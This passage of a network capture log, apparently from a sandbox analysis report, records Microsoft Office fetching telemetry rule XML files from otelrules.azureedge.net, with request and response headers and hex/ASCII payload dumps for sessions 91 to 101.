2024-11-30 08:45:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:35 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ab0c55e0-101e-00a2-20a2-429f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084535Z-174f7845968glpgnhC1EWR7uec00000011eg000000000b63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:36 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:35 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084536Z-174f7845968kdththC1EWRzvxn0000000de0000000009srr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:36 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:35 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:36 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 2c9dd3b5-d01e-0049-7af2-41e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084536Z-174f7845968n2hr8hC1EWR9cag00000010wg000000002dr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:36 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:35 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084536Z-174f7845968kvnqxhC1EWRmf3g0000000n10000000003e38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:36 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:37 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084538Z-174f78459685m244hC1EWRgp2c00000011400000000012s3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:37 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 955e63b0-601e-0070-4f22-41a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084538Z-174f78459685726chC1EWRsnbg00000011b0000000000ux9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:38 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:37 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2191e2ce-a01e-003d-63ab-4298d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084538Z-174f78459684db9fhC1EWRc7g40000000170000000003uk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:38 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:38 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6ff37f82-301e-001f-5b9a-42aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084538Z-174f7845968qj8jrhC1EWRh41s000000116g000000001x8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:38 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:38 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084538Z-174f7845968ljs8phC1EWRe6en00000011500000000005ay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:38 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:40 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:40 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084540Z-174f7845968zgtf6hC1EWRqd8s0000000u30000000006xc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:40 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:40 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:40 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 9f20eb28-201e-005d-0bb5-42afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084540Z-174f7845968nxc96hC1EWRspw8000000110g000000002a81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:40 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:40 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:40 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: fd34d427-b01e-0001-7ca1-4246e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084540Z-174f78459685726chC1EWRsnbg00000011bg0000000009gz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:40 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" 